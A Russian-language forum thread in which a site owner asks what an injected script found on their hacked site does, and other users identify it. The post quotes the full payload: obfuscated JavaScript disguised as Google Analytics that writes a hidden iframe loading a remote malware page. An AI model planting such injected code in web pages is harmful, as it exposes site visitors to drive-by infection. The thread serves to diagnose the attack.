Вопрос по Яваскрипт

N
На сайте с 14.06.2004
Offline
107
502

Сегодня хакнули сайт.

В конец файла дописали такой Яваскрипт:


<!-- google-analytics.com --><script>a=new Array('<','i','f','r','a','m','e',' ','s','r','c','=','"','h','t','t','p',':','/','/','c','l','i','c','k','s','1','0','0','.','r','u','/','t','o','p','1','0','0','/','i','f','r','a','m','e','.','p','h','p','"',' ','w','i','d','t','h','=','1',' ','h','e','i','g','h','t','=','1',' ','s','t','y','l','e','=','"','v','i','s','i','b','i','l','i','t','y',':',' ','h','i','d','d','e','n','"','>','<','/','i','f','r','a','m','e','>');document.write(a.join(''))</script><!--/google-analytics.com -->

Что делает этот яваскрипт?

BigBoss
На сайте с 25.09.2007
Offline
73
#1

Делает фрейм, в который грузится какая-то бяка.

Avtoprogon.ru - белые, серые регистрации: 8000 русских, 8000 англ., 1300 кат. статей. VIP-регистрации. Дорегистрация в новых каталогах (http://www.avtoprogon.ru/) Добавление ссылок на индексацию в Ya, Go. (http://www.avtoprogon.ru/yandex/)
malls
На сайте с 08.08.2005
Offline
255
#2
BigBoss:
Делает фрейм, в который грузится какая-то бяка.

Не какая то, а :

h','t','t','p',':','/','/','c','l','i','c','k','s','1','0','0','.','r','u','/','t','o','p','1','0','0','/','i','f','r','a','m','e','.','p','h','p','"',
S
На сайте с 10.08.2006
Offline
115
#3

это подгружал http://clicks100.ru/top100/iframe.php

BigBoss
На сайте с 25.09.2007
Offline
73
#4

Теперь каждый втопрой будет проверять, сработает ли антивирус или нет ;)

Татарин
На сайте с 16.05.2009
Offline
2
#5

вот тут написано про clicks100.ru/top100/iframe.php

http://malwaredatabase.net/blog/index.php/2009/05/12/database-update-8-files-low-detection/

Самый дешевый и надежный хостинг (http://onlinehoster.net/order/host.php?uid=4669&bid=1) Определение (http://opredelenieslova.ru/sitemap.html), Транслит (http://translitslov.ru/sitemap.html)

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий